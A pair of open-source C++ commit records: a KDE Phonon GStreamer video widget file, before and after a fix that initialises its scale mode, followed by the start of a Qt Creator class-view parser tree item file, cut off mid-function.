<QtCore\/QEvent>\n#include <QtGui\/QResizeEvent>\n#include <QtGui\/QPalette>\n#include <QtGui\/QImage>\n#include <QtGui\/QPainter>\n#include <QtGui\/QBoxLayout>\n#include <QApplication>\n#include <gst\/gst.h>\n#include <gst\/interfaces\/propertyprobe.h>\n#include \"mediaobject.h\"\n#include \"message.h\"\n#include \"common.h\"\n\n#include \"glrenderer.h\"\n#include \"widgetrenderer.h\"\n#include \"x11renderer.h\"\n\nQT_BEGIN_NAMESPACE\n\nnamespace Phonon\n{\nnamespace Gstreamer\n{\n\nVideoWidget::VideoWidget(Backend *backend, QWidget *parent) :\n QWidget(parent),\n MediaNode(backend, VideoSink),\n m_videoBin(0),\n m_renderer(0),\n m_aspectRatio(Phonon::VideoWidget::AspectRatioAuto),\n m_brightness(0.0),\n m_hue(0.0),\n m_contrast(0.0),\n m_saturation(0.0),\n m_videoBalance(0),\n m_colorspace(0),\n m_videoplug(0)\n{\n setupVideoBin();\n}\n\nVideoWidget::~VideoWidget()\n{\n if (m_videoBin) {\n gst_element_set_state (m_videoBin, GST_STATE_NULL);\n gst_object_unref (m_videoBin);\n }\n\n if (m_renderer)\n delete m_renderer;\n}\n\n\nvoid VideoWidget::setupVideoBin()\n{\n\n m_renderer = m_backend->deviceManager()->createVideoRenderer(this);\n GstElement *videoSink = m_renderer->videoSink();\n\n m_videoBin = gst_bin_new (NULL);\n Q_ASSERT(m_videoBin);\n gst_object_ref (GST_OBJECT (m_videoBin)); \/\/Take ownership\n gst_object_sink (GST_OBJECT (m_videoBin));\n\n \/\/The videoplug element is the final element before the pluggable videosink\n m_videoplug = gst_element_factory_make (\"identity\", NULL);\n\n \/\/Colorspace ensures that the output of the stream matches the input format accepted by our video sink\n m_colorspace = gst_element_factory_make (\"ffmpegcolorspace\", NULL);\n\n \/\/Video scale is used to prepare the correct aspect ratio and scale.\n GstElement *videoScale = gst_element_factory_make (\"videoscale\", NULL);\n\n \/\/We need a queue to support the tee from parent node\n GstElement *queue = gst_element_factory_make (\"queue\", NULL);\n\n if (queue && m_videoBin && videoScale && m_colorspace && videoSink && m_videoplug) {\n \/\/Ensure that the bare essentials are prepared\n gst_bin_add_many (GST_BIN (m_videoBin), queue, m_colorspace, m_videoplug, videoScale, videoSink, NULL);\n bool success = false;\n \/\/Video balance controls color\/sat\/hue in the YUV colorspace\n m_videoBalance = gst_element_factory_make (\"videobalance\", NULL);\n if (m_videoBalance) {\n \/\/ For video balance to work we have to first ensure that the video is in YUV colorspace,\n \/\/ then hand it off to the videobalance filter before finally converting it back to RGB.\n \/\/ Hence we nede a videoFilter to convert the colorspace before and after videobalance\n GstElement *m_colorspace2 = gst_element_factory_make (\"ffmpegcolorspace\", NULL);\n gst_bin_add_many(GST_BIN(m_videoBin), m_videoBalance, m_colorspace2, NULL);\n success = gst_element_link_many(queue, m_colorspace, m_videoBalance, m_colorspace2, videoScale, m_videoplug, videoSink, NULL);\n } else {\n \/\/If video balance is not available, just connect to sink directly\n success = gst_element_link_many(queue, m_colorspace, videoScale, m_videoplug, videoSink, NULL);\n }\n\n if (success) {\n GstPad *videopad = gst_element_get_pad (queue, \"sink\");\n gst_element_add_pad (m_videoBin, gst_ghost_pad_new (\"sink\", videopad));\n gst_object_unref (videopad);\n QWidget *parentWidget = qobject_cast<QWidget*>(parent());\n if (parentWidget)\n parentWidget->winId(); \/\/ Due to some existing issues with alien in 4.4,\n \/\/ we must currently force the creation of a parent widget.\n m_isValid = true; \/\/initialization ok, accept input\n }\n }\n}\n\nvoid VideoWidget::paintEvent(QPaintEvent *event)\n{\n Q_ASSERT(m_renderer);\n m_renderer->handlePaint(event);\n}\n\nvoid VideoWidget::setVisible(bool val) {\n Q_ASSERT(m_renderer);\n\n \/\/ Disable overlays for graphics view\n if (root() && window() && window()->testAttribute(Qt::WA_DontShowOnScreen) && !m_renderer->paintsOnWidget()) {\n m_backend->logMessage(QString(\"Widget rendering forced\"), Backend::Info, this);\n GstElement *videoSink = m_renderer->videoSink();\n Q_ASSERT(videoSink);\n\n gst_element_set_state (videoSink, GST_STATE_NULL);\n gst_bin_remove(GST_BIN(m_videoBin), videoSink);\n delete m_renderer;\n m_renderer = 0;\n\n \/\/ Use widgetRenderer as a fallback\n m_renderer = new WidgetRenderer(this);\n videoSink = m_renderer->videoSink();\n gst_bin_add(GST_BIN(m_videoBin), videoSink);\n gst_element_link(m_videoplug, videoSink);\n gst_element_set_state (videoSink, GST_STATE_PAUSED);\n\n \/\/ Request return to current state\n root()->invalidateGraph();\n root()->setState(root()->state());\n }\n QWidget::setVisible(val); \n}\n\nbool VideoWidget::event(QEvent *event)\n{\n if (m_renderer && m_renderer->eventFilter(event))\n return true;\n return QWidget::event(event);\n}\n\nPhonon::VideoWidget::AspectRatio VideoWidget::aspectRatio() const\n{\n return m_aspectRatio;\n}\n\nQSize VideoWidget::sizeHint() const\n{\n if (!m_movieSize.isEmpty())\n return m_movieSize;\n else\n return QSize(640, 480);\n}\n\nvoid VideoWidget::setAspectRatio(Phonon::VideoWidget::AspectRatio aspectRatio)\n{\n m_aspectRatio = aspectRatio;\n if (m_renderer)\n m_renderer->aspectRatioChanged(aspectRatio);\n}\n\nPhonon::VideoWidget::ScaleMode VideoWidget::scaleMode() const\n{\n return m_scaleMode;\n}\n\nQRect VideoWidget::scaleToAspect(QRect srcRect, int w, int h) const\n{\n float width = srcRect.width();\n float height = srcRect.width() * (float(h) \/ float(w));\n if (height > srcRect.height()) {\n height = srcRect.height();\n width = srcRect.height() * (float(w) \/ float(h));\n }\n return QRect(0, 0, (int)width, (int)height);\n}\n\n\/***\n * Calculates the actual rectangle the movie will be presented with\n *\n * ### This function does currently asume a 1:1 pixel aspect\n **\/\nQRect VideoWidget::calculateDrawFrameRect() const\n{\n QRect widgetRect = rect();\n QRect drawFrameRect;\n \/\/ Set m_drawFrameRect to be the size of the smallest possible\n \/\/ rect conforming to the aspect and containing the whole frame:\n switch (aspectRatio()) {\n\n case Phonon::VideoWidget::AspectRatioWidget:\n drawFrameRect = widgetRect;\n \/\/ No more calculations needed.\n return drawFrameRect;\n\n case Phonon::VideoWidget::AspectRatio4_3:\n drawFrameRect = scaleToAspect(widgetRect, 4, 3);\n break;\n\n case Phonon::VideoWidget::AspectRatio16_9:\n drawFrameRect = scaleToAspect(widgetRect, 16, 9);\n break;\n\n case Phonon::VideoWidget::AspectRatioAuto:\n default:\n drawFrameRect = QRect(0, 0, movieSize().width(), movieSize().height());\n break;\n }\n\n \/\/ Scale m_drawFrameRect to fill the widget\n \/\/ without breaking aspect:\n float widgetWidth = widgetRect.width();\n float widgetHeight = widgetRect.height();\n float frameWidth = widgetWidth;\n float frameHeight = drawFrameRect.height() * float(widgetWidth) \/ float(drawFrameRect.width());\n\n switch (scaleMode()) {\n case Phonon::VideoWidget::ScaleAndCrop:\n if (frameHeight < widgetHeight) {\n frameWidth *= float(widgetHeight) \/ float(frameHeight);\n frameHeight = widgetHeight;\n }\n break;\n case Phonon::VideoWidget::FitInView:\n default:\n if (frameHeight > widgetHeight) {\n frameWidth *= float(widgetHeight) \/ float(frameHeight);\n frameHeight = widgetHeight;\n }\n break;\n }\n drawFrameRect.setSize(QSize(int(frameWidth), int(frameHeight)));\n drawFrameRect.moveTo(int((widgetWidth - frameWidth) \/ 2.0f),\n int((widgetHeight - frameHeight) \/ 2.0f));\n return drawFrameRect;\n}\n\nvoid VideoWidget::setScaleMode(Phonon::VideoWidget::ScaleMode scaleMode)\n{\n m_scaleMode = scaleMode;\n if (m_renderer)\n m_renderer->scaleModeChanged(scaleMode);\n}\n\nqreal VideoWidget::brightness() const\n{\n return m_brightness;\n}\n\nqreal clampedValue(qreal val)\n{\n if (val > 1.0 )\n return 1.0;\n else if (val < -1.0)\n return -1.0;\n else return val;\n}\n\nvoid VideoWidget::setBrightness(qreal newValue)\n{\n newValue = clampedValue(newValue);\n\n if (newValue == m_brightness)\n return;\n\n m_brightness = newValue;\n\n if (m_videoBalance)\n g_object_set(G_OBJECT(m_videoBalance), \"brightness\", newValue, NULL); \/\/gstreamer range is [-1, 1]\n\n}\n\nqreal VideoWidget::contrast() const\n{\n return m_contrast;\n}\n\nvoid VideoWidget::setContrast(qreal newValue)\n{\n newValue = clampedValue(newValue);\n\n if (newValue == m_contrast)\n return;\n\n m_contrast = newValue;\n\n if (m_videoBalance)\n g_object_set(G_OBJECT(m_videoBalance), \"contrast\", (newValue + 1.0), NULL); \/\/gstreamer range is [0-2]\n}\n\nqreal VideoWidget::hue() const\n{\n return m_hue;\n}\n\nvoid VideoWidget::setHue(qreal newValue)\n{\n if (newValue == m_hue)\n return;\n\n newValue = clampedValue(newValue);\n\n m_hue = newValue;\n\n if (m_videoBalance)\n g_object_set(G_OBJECT(m_videoBalance), \"hue\", newValue, NULL); \/\/gstreamer range is [-1, 1]\n}\n\nqreal VideoWidget::saturation() const\n{\n return m_saturation;\n}\n\nvoid VideoWidget::setSaturation(qreal newValue)\n{\n newValue = clampedValue(newValue);\n\n if (newValue == m_saturation)\n return;\n\n m_saturation = newValue;\n\n if (m_videoBalance)\n g_object_set(G_OBJECT(m_videoBalance), \"saturation\", newValue + 1.0, NULL); \/\/gstreamer range is [0, 2]\n}\n\n\nvoid VideoWidget::setMovieSize(const QSize &size)\n{\n m_backend->logMessage(QString(\"New video size %0 x %1\").arg(size.width()).arg(size.height()), Backend::Info);\n if (size == m_movieSize)\n return;\n m_movieSize = size;\n widget()->updateGeometry();\n widget()->update();\n}\n\nvoid VideoWidget::mediaNodeEvent(const MediaNodeEvent *event)\n{\n switch (event->type()) {\n case MediaNodeEvent::VideoSizeChanged: {\n const QSize *size = static_cast<const QSize*>(event->data());\n setMovieSize(*size);\n }\n break;\n default:\n break;\n }\n\n \/\/ Forward events to renderer\n if (m_renderer)\n m_renderer->handleMediaNodeEvent(event);\n}\n\n}\n} \/\/namespace Phonon::Gstreamer\n\nQT_END_NAMESPACE\n\n#include \"moc_videowidget.cpp\"\n<commit_msg>silence a valgrind warning - this initialization is not really necessary, though<commit_after>\/* This file is part of the KDE project.\n\n Copyright (C) 2007 Trolltech ASA. All rights reserved.\n\n This library is free software: you can redistribute it and\/or modify\n it under the terms of the GNU Lesser General Public License as published by\n the Free Software Foundation, either version 2.1 or 3 of the License.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public License\n along with this library. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include \"videowidget.h\"\n#include <QtCore\/QEvent>\n#include <QtGui\/QResizeEvent>\n#include <QtGui\/QPalette>\n#include <QtGui\/QImage>\n#include <QtGui\/QPainter>\n#include <QtGui\/QBoxLayout>\n#include <QApplication>\n#include <gst\/gst.h>\n#include <gst\/interfaces\/propertyprobe.h>\n#include \"mediaobject.h\"\n#include \"message.h\"\n#include \"common.h\"\n\n#include \"glrenderer.h\"\n#include \"widgetrenderer.h\"\n#include \"x11renderer.h\"\n\nQT_BEGIN_NAMESPACE\n\nnamespace Phonon\n{\nnamespace Gstreamer\n{\n\nVideoWidget::VideoWidget(Backend *backend, QWidget *parent) :\n QWidget(parent),\n MediaNode(backend, VideoSink),\n m_videoBin(0),\n m_renderer(0),\n m_aspectRatio(Phonon::VideoWidget::AspectRatioAuto),\n m_brightness(0.0),\n m_hue(0.0),\n m_contrast(0.0),\n m_saturation(0.0),\n m_scaleMode(Phonon::VideoWidget::FitInView),\n m_videoBalance(0),\n m_colorspace(0),\n m_videoplug(0)\n{\n setupVideoBin();\n}\n\nVideoWidget::~VideoWidget()\n{\n if (m_videoBin) {\n gst_element_set_state (m_videoBin, GST_STATE_NULL);\n gst_object_unref (m_videoBin);\n }\n\n if (m_renderer)\n delete m_renderer;\n}\n\n\nvoid VideoWidget::setupVideoBin()\n{\n\n m_renderer = m_backend->deviceManager()->createVideoRenderer(this);\n GstElement *videoSink = m_renderer->videoSink();\n\n m_videoBin = gst_bin_new (NULL);\n Q_ASSERT(m_videoBin);\n gst_object_ref (GST_OBJECT (m_videoBin)); \/\/Take ownership\n gst_object_sink (GST_OBJECT (m_videoBin));\n\n \/\/The videoplug element is the final element before the pluggable videosink\n m_videoplug = gst_element_factory_make (\"identity\", NULL);\n\n \/\/Colorspace ensures that the output of the stream matches the input format accepted by our video sink\n m_colorspace = gst_element_factory_make (\"ffmpegcolorspace\", NULL);\n\n \/\/Video scale is used to prepare the correct aspect ratio and scale.\n GstElement *videoScale = gst_element_factory_make (\"videoscale\", NULL);\n\n \/\/We need a queue to support the tee from parent node\n GstElement *queue = gst_element_factory_make (\"queue\", NULL);\n\n if (queue && m_videoBin && videoScale && m_colorspace && videoSink && m_videoplug) {\n \/\/Ensure that the bare essentials are prepared\n gst_bin_add_many (GST_BIN (m_videoBin), queue, m_colorspace, m_videoplug, videoScale, videoSink, NULL);\n bool success = false;\n \/\/Video balance controls color\/sat\/hue in the YUV colorspace\n m_videoBalance = gst_element_factory_make (\"videobalance\", NULL);\n if (m_videoBalance) {\n \/\/ For video balance to work we have to first ensure that the video is in YUV colorspace,\n \/\/ then hand it off to the videobalance filter before finally converting it back to RGB.\n \/\/ Hence we nede a videoFilter to convert the colorspace before and after videobalance\n GstElement *m_colorspace2 = gst_element_factory_make (\"ffmpegcolorspace\", NULL);\n gst_bin_add_many(GST_BIN(m_videoBin), m_videoBalance, m_colorspace2, NULL);\n success = gst_element_link_many(queue, m_colorspace, m_videoBalance, m_colorspace2, videoScale, m_videoplug, videoSink, NULL);\n } else {\n \/\/If video balance is not available, just connect to sink directly\n success = gst_element_link_many(queue, m_colorspace, videoScale, m_videoplug, videoSink, NULL);\n }\n\n if (success) {\n GstPad *videopad = gst_element_get_pad (queue, \"sink\");\n gst_element_add_pad (m_videoBin, gst_ghost_pad_new (\"sink\", videopad));\n gst_object_unref (videopad);\n QWidget *parentWidget = qobject_cast<QWidget*>(parent());\n if (parentWidget)\n parentWidget->winId(); \/\/ Due to some existing issues with alien in 4.4,\n \/\/ we must currently force the creation of a parent widget.\n m_isValid = true; \/\/initialization ok, accept input\n }\n }\n}\n\nvoid VideoWidget::paintEvent(QPaintEvent *event)\n{\n Q_ASSERT(m_renderer);\n m_renderer->handlePaint(event);\n}\n\nvoid VideoWidget::setVisible(bool val) {\n Q_ASSERT(m_renderer);\n\n \/\/ Disable overlays for graphics view\n if (root() && window() && window()->testAttribute(Qt::WA_DontShowOnScreen) && !m_renderer->paintsOnWidget()) {\n m_backend->logMessage(QString(\"Widget rendering forced\"), Backend::Info, this);\n GstElement *videoSink = m_renderer->videoSink();\n Q_ASSERT(videoSink);\n\n gst_element_set_state (videoSink, GST_STATE_NULL);\n gst_bin_remove(GST_BIN(m_videoBin), videoSink);\n delete m_renderer;\n m_renderer = 0;\n\n \/\/ Use widgetRenderer as a fallback\n m_renderer = new WidgetRenderer(this);\n videoSink = m_renderer->videoSink();\n gst_bin_add(GST_BIN(m_videoBin), videoSink);\n gst_element_link(m_videoplug, videoSink);\n gst_element_set_state (videoSink, GST_STATE_PAUSED);\n\n \/\/ Request return to current state\n root()->invalidateGraph();\n root()->setState(root()->state());\n }\n QWidget::setVisible(val); \n}\n\nbool VideoWidget::event(QEvent *event)\n{\n if (m_renderer && m_renderer->eventFilter(event))\n return true;\n return QWidget::event(event);\n}\n\nPhonon::VideoWidget::AspectRatio VideoWidget::aspectRatio() const\n{\n return m_aspectRatio;\n}\n\nQSize VideoWidget::sizeHint() const\n{\n if (!m_movieSize.isEmpty())\n return m_movieSize;\n else\n return QSize(640, 480);\n}\n\nvoid VideoWidget::setAspectRatio(Phonon::VideoWidget::AspectRatio aspectRatio)\n{\n m_aspectRatio = aspectRatio;\n if (m_renderer)\n m_renderer->aspectRatioChanged(aspectRatio);\n}\n\nPhonon::VideoWidget::ScaleMode VideoWidget::scaleMode() const\n{\n return m_scaleMode;\n}\n\nQRect VideoWidget::scaleToAspect(QRect srcRect, int w, int h) const\n{\n float width = srcRect.width();\n float height = srcRect.width() * (float(h) \/ float(w));\n if (height > srcRect.height()) {\n height = srcRect.height();\n width = srcRect.height() * (float(w) \/ float(h));\n }\n return QRect(0, 0, (int)width, (int)height);\n}\n\n\/***\n * Calculates the actual rectangle the movie will be presented with\n *\n * ### This function does currently asume a 1:1 pixel aspect\n **\/\nQRect VideoWidget::calculateDrawFrameRect() const\n{\n QRect widgetRect = rect();\n QRect drawFrameRect;\n \/\/ Set m_drawFrameRect to be the size of the smallest possible\n \/\/ rect conforming to the aspect and containing the whole frame:\n switch (aspectRatio()) {\n\n case Phonon::VideoWidget::AspectRatioWidget:\n drawFrameRect = widgetRect;\n \/\/ No more calculations needed.\n return drawFrameRect;\n\n case Phonon::VideoWidget::AspectRatio4_3:\n drawFrameRect = scaleToAspect(widgetRect, 4, 3);\n break;\n\n case Phonon::VideoWidget::AspectRatio16_9:\n drawFrameRect = scaleToAspect(widgetRect, 16, 9);\n break;\n\n case Phonon::VideoWidget::AspectRatioAuto:\n default:\n drawFrameRect = QRect(0, 0, movieSize().width(), movieSize().height());\n break;\n }\n\n \/\/ Scale m_drawFrameRect to fill the widget\n \/\/ without breaking aspect:\n float widgetWidth = widgetRect.width();\n float widgetHeight = widgetRect.height();\n float frameWidth = widgetWidth;\n float frameHeight = drawFrameRect.height() * float(widgetWidth) \/ float(drawFrameRect.width());\n\n switch (scaleMode()) {\n case Phonon::VideoWidget::ScaleAndCrop:\n if (frameHeight < widgetHeight) {\n frameWidth *= float(widgetHeight) \/ float(frameHeight);\n frameHeight = widgetHeight;\n }\n break;\n case Phonon::VideoWidget::FitInView:\n default:\n if (frameHeight > widgetHeight) {\n frameWidth *= float(widgetHeight) \/ float(frameHeight);\n frameHeight = widgetHeight;\n }\n break;\n }\n drawFrameRect.setSize(QSize(int(frameWidth), int(frameHeight)));\n drawFrameRect.moveTo(int((widgetWidth - frameWidth) \/ 2.0f),\n int((widgetHeight - frameHeight) \/ 2.0f));\n return drawFrameRect;\n}\n\nvoid VideoWidget::setScaleMode(Phonon::VideoWidget::ScaleMode scaleMode)\n{\n m_scaleMode = scaleMode;\n if (m_renderer)\n m_renderer->scaleModeChanged(scaleMode);\n}\n\nqreal VideoWidget::brightness() const\n{\n return m_brightness;\n}\n\nqreal clampedValue(qreal val)\n{\n if (val > 1.0 )\n return 1.0;\n else if (val < -1.0)\n return -1.0;\n else return val;\n}\n\nvoid VideoWidget::setBrightness(qreal newValue)\n{\n newValue = clampedValue(newValue);\n\n if (newValue == m_brightness)\n return;\n\n m_brightness = newValue;\n\n if (m_videoBalance)\n g_object_set(G_OBJECT(m_videoBalance), \"brightness\", newValue, NULL); \/\/gstreamer range is [-1, 1]\n\n}\n\nqreal VideoWidget::contrast() const\n{\n return m_contrast;\n}\n\nvoid VideoWidget::setContrast(qreal newValue)\n{\n newValue = clampedValue(newValue);\n\n if (newValue == m_contrast)\n return;\n\n m_contrast = newValue;\n\n if (m_videoBalance)\n g_object_set(G_OBJECT(m_videoBalance), \"contrast\", (newValue + 1.0), NULL); \/\/gstreamer range is [0-2]\n}\n\nqreal VideoWidget::hue() const\n{\n return m_hue;\n}\n\nvoid VideoWidget::setHue(qreal newValue)\n{\n if (newValue == m_hue)\n return;\n\n newValue = clampedValue(newValue);\n\n m_hue = newValue;\n\n if (m_videoBalance)\n g_object_set(G_OBJECT(m_videoBalance), \"hue\", newValue, NULL); \/\/gstreamer range is [-1, 1]\n}\n\nqreal VideoWidget::saturation() const\n{\n return m_saturation;\n}\n\nvoid VideoWidget::setSaturation(qreal newValue)\n{\n newValue = clampedValue(newValue);\n\n if (newValue == m_saturation)\n return;\n\n m_saturation = newValue;\n\n if (m_videoBalance)\n g_object_set(G_OBJECT(m_videoBalance), \"saturation\", newValue + 1.0, NULL); \/\/gstreamer range is [0, 2]\n}\n\n\nvoid VideoWidget::setMovieSize(const QSize &size)\n{\n m_backend->logMessage(QString(\"New video size %0 x %1\").arg(size.width()).arg(size.height()), Backend::Info);\n if (size == m_movieSize)\n return;\n m_movieSize = size;\n widget()->updateGeometry();\n widget()->update();\n}\n\nvoid VideoWidget::mediaNodeEvent(const MediaNodeEvent *event)\n{\n switch (event->type()) {\n case MediaNodeEvent::VideoSizeChanged: {\n const QSize *size = static_cast<const QSize*>(event->data());\n setMovieSize(*size);\n }\n break;\n default:\n break;\n }\n\n \/\/ Forward events to renderer\n if (m_renderer)\n m_renderer->handleMediaNodeEvent(event);\n}\n\n}\n} \/\/namespace Phonon::Gstreamer\n\nQT_END_NAMESPACE\n\n#include \"moc_videowidget.cpp\"\n<|endoftext|>"} {"text":"<commit_before>\/**************************************************************************\n**\n** Copyright (C) 2015 Denis Mingulov\n** Contact: http:\/\/www.qt.io\/licensing\n**\n** This file is part of Qt Creator.\n**\n** Commercial License Usage\n** Licensees holding valid commercial Qt licenses may use this file in\n** accordance with the commercial license agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and The Qt Company. For licensing terms and\n** conditions see http:\/\/www.qt.io\/terms-conditions. For further information\n** use the contact form at http:\/\/www.qt.io\/contact-us.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 or version 3 as published by the Free\n** Software Foundation and appearing in the file LICENSE.LGPLv21 and\n** LICENSE.LGPLv3 included in the packaging of this file. Please review the\n** following information to ensure the GNU Lesser General Public License\n** requirements will be met: https:\/\/www.gnu.org\/licenses\/lgpl.html and\n** http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, The Qt Company gives you certain additional\n** rights. These rights are described in The Qt Company LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n****************************************************************************\/\n\n#include \"classviewparsertreeitem.h\"\n#include \"classviewsymbollocation.h\"\n#include \"classviewsymbolinformation.h\"\n#include \"classviewconstants.h\"\n#include \"classviewutils.h\"\n\n#include <QHash>\n#include <QPair>\n#include <QIcon>\n#include <QStandardItem>\n#include <QMutex>\n\n#include <QDebug>\n\nenum { debug = false };\n\nnamespace ClassView {\nnamespace Internal {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ ParserTreeItemPrivate \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/*!\n \\class ParserTreeItemPrivate\n \\brief The ParserTreeItemPrivate class defines private class data for\n the ParserTreeItem class.\n \\sa ParserTreeItem\n *\/\nclass ParserTreeItemPrivate\n{\npublic:\n \/\/! symbol locations\n QSet<SymbolLocation> symbolLocations;\n\n \/\/! symbol information\n QHash<SymbolInformation, ParserTreeItem::Ptr> symbolInformations;\n\n \/\/! An icon\n QIcon icon;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ ParserTreeItem \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/*!\n \\class ParserTreeItem\n \\brief The ParserTreeItem class is an item for the internal Class View tree.\n\n Not virtual - to speed up its work.\n*\/\n\nParserTreeItem::ParserTreeItem() :\n d(new ParserTreeItemPrivate())\n{\n}\n\nParserTreeItem::~ParserTreeItem()\n{\n delete d;\n}\n\nParserTreeItem &ParserTreeItem::operator=(const ParserTreeItem &other)\n{\n d->symbolLocations = other.d->symbolLocations;\n d->icon = other.d->icon;\n d->symbolInformations.clear();\n return *this;\n}\n\n\/*!\n Copies a parser tree item from the location specified by \\a from to this\n item.\n*\/\n\nvoid ParserTreeItem::copy(const ParserTreeItem::ConstPtr &from)\n{\n if (from.isNull())\n return;\n\n d->symbolLocations = from->d->symbolLocations;\n d->icon = from->d->icon;\n d->symbolInformations = from->d->symbolInformations;\n}\n\n\/*!\n \\fn void copyTree(const ParserTreeItem::ConstPtr &from)\n Copies a parser tree item with children from the location specified by\n \\a from to this item.\n*\/\n\nvoid ParserTreeItem::copyTree(const ParserTreeItem::ConstPtr &target)\n{\n if (target.isNull())\n return;\n\n \/\/ copy content\n d->symbolLocations = target->d->symbolLocations;\n d->icon = target->d->icon;\n d->symbolInformations.clear();\n\n \/\/ reserve memory\n\/\/ int amount = qMin(100 , target->d_ptr->symbolInformations.count() * 2);\n\/\/ d_ptr->symbolInformations.reserve(amount);\n\n \/\/ every child\n CitSymbolInformations cur = target->d->symbolInformations.constBegin();\n CitSymbolInformations end = target->d->symbolInformations.constEnd();\n\n for (; cur != end; ++cur) {\n ParserTreeItem::Ptr item(new ParserTreeItem());\n item->copyTree(cur.value());\n appendChild(item, cur.key());\n }\n}\n\n\/*!\n Adds information about symbol location from a \\location.\n \\sa SymbolLocation, removeSymbolLocation, symbolLocations\n*\/\n\nvoid ParserTreeItem::addSymbolLocation(const SymbolLocation &location)\n{\n d->symbolLocations.insert(location);\n}\n\n\/*!\n Adds information about symbol locations from \\a locations.\n \\sa SymbolLocation, removeSymbolLocation, symbolLocations\n*\/\n\nvoid ParserTreeItem::addSymbolLocation(const QSet<SymbolLocation> &locations)\n{\n d->symbolLocations.unite(locations);\n}\n\n\/*!\n Removes information about \\a location.\n \\sa SymbolLocation, addSymbolLocation, symbolLocations\n*\/\n\nvoid ParserTreeItem::removeSymbolLocation(const SymbolLocation &location)\n{\n d->symbolLocations.remove(location);\n}\n\n\/*!\n Removes information about \\a locations.\n \\sa SymbolLocation, addSymbolLocation, symbolLocations\n*\/\n\nvoid ParserTreeItem::removeSymbolLocations(const QSet<SymbolLocation> &locations)\n{\n d->symbolLocations.subtract(locations);\n}\n\n\/*!\n Gets information about symbol positions.\n \\sa SymbolLocation, addSymbolLocation, removeSymbolLocation\n*\/\n\nQSet<SymbolLocation> ParserTreeItem::symbolLocations() const\n{\n return d->symbolLocations;\n}\n\n\/*!\n Appends the child item \\a item to \\a inf symbol information.\n*\/\n\nvoid ParserTreeItem::appendChild(const ParserTreeItem::Ptr &item, const SymbolInformation &inf)\n{\n \/\/ removeChild must be used to remove an item\n if (item.isNull())\n return;\n\n d->symbolInformations[inf] = item;\n}\n\n\/*!\n Removes the \\a inf symbol information.\n*\/\n\nvoid ParserTreeItem::removeChild(const SymbolInformation &inf)\n{\n d->symbolInformations.remove(inf);\n}\n\n\/*!\n Returns the child item specified by \\a inf symbol information.\n*\/\n\nParserTreeItem::Ptr ParserTreeItem::child(const SymbolInformation &inf) const\n{\n return d->symbolInformations.value(inf);\n}\n\n\/*!\n Returns the amount of children of the tree item.\n*\/\n\nint ParserTreeItem::childCount() const\n{\n return d->symbolInformations.count();\n}\n\n\/*!\n \\property QIcon::icon\n \\brief the icon assigned to the tree item\n*\/\n\nQIcon ParserTreeItem::icon() const\n{\n return d->icon;\n}\n\n\/*!\n Sets the \\a icon for the tree item.\n *\/\nvoid ParserTreeItem::setIcon(const QIcon &icon)\n{\n d->icon = icon;\n}\n\n\/*!\n Adds an internal state with \\a target, which contains the correct current\n state.\n*\/\n\nvoid ParserTreeItem::add(const ParserTreeItem::ConstPtr &target)\n{\n if (target.isNull())\n return;\n\n \/\/ add locations\n d->symbolLocations = d->symbolLocations.unite(target->d->symbolLocations);\n\n \/\/ add children\n \/\/ every target child\n CitSymbolInformations cur = target->d->symbolInformations.constBegin();\n CitSymbolInformations end = target->d->symbolInformations.constEnd();\n while (cur != end) {\n const SymbolInformation &inf = cur.key();\n const ParserTreeItem::Ptr &targetChild = cur.value();\n\n ParserTreeItem::Ptr child = d->symbolInformations.value(inf);\n if (!child.isNull()) {\n child->add(targetChild);\n } else {\n ParserTreeItem::Ptr add(new ParserTreeItem());\n add->copyTree(targetChild);\n d->symbolInformations[inf] = add;\n }\n \/\/ next item\n ++cur;\n }\n}\n\n\/*!\n Appends this item to the QStandardIten item \\a item.\n*\/\n\nvoid ParserTreeItem::convertTo(QStandardItem *item) const\n{\n if (!item)\n return;\n\n QMap<SymbolInformation, ParserTreeItem::Ptr> map;\n\n \/\/ convert to map - to sort it\n CitSymbolInformations curHash = d->symbolInformations.constBegin();\n CitSymbolInformations endHash = d->symbolInformations.constEnd();\n while (curHash != endHash) {\n map.insert(curHash.key(), curHash.value());\n ++curHash;\n }\n\n typedef QMap<SymbolInformation, ParserTreeItem::Ptr>::const_iterator MapCitSymbolInformations;\n \/\/ add to item\n MapCitSymbolInformations cur = map.constBegin();\n MapCitSymbolInformations end = map.constEnd();\n while (cur != end) {\n const SymbolInformation &inf = cur.key();\n ParserTreeItem::Ptr ptr = cur.value();\n\n QStandardItem *add = new QStandardItem();\n Utils::setSymbolInformationToItem(inf, add);\n if (!ptr.isNull()) {\n \/\/ icon\n add->setIcon(ptr->icon());\n\n \/\/ draggable\n if (!ptr->symbolLocations().isEmpty())\n add->setFlags(add->flags() | Qt::ItemIsDragEnabled);\n\n \/\/ locations\n add->setData(Utils::locationsToRole(ptr->symbolLocations()),\n Constants::SymbolLocationsRole);\n }\n item->appendRow(add);\n ++cur;\n }\n}\n\n\/*!\n Checks \\a item in a QStandardItemModel for lazy data population.\n*\/\n\nbool ParserTreeItem::canFetchMore(QStandardItem *item) const\n{\n if (!item)\n return false;\n\n int storedChildren = item->rowCount();\n int internalChildren = d->symbolInformations.count();\n\n if (storedChildren < internalChildren)\n return true;\n\n return false;\n}\n\n\/*!\n Performs lazy data population for \\a item in a QStandardItemModel if needed.\n*\/\n\nvoid ParserTreeItem::fetchMore(QStandardItem *item) const\n{\n if (!item)\n 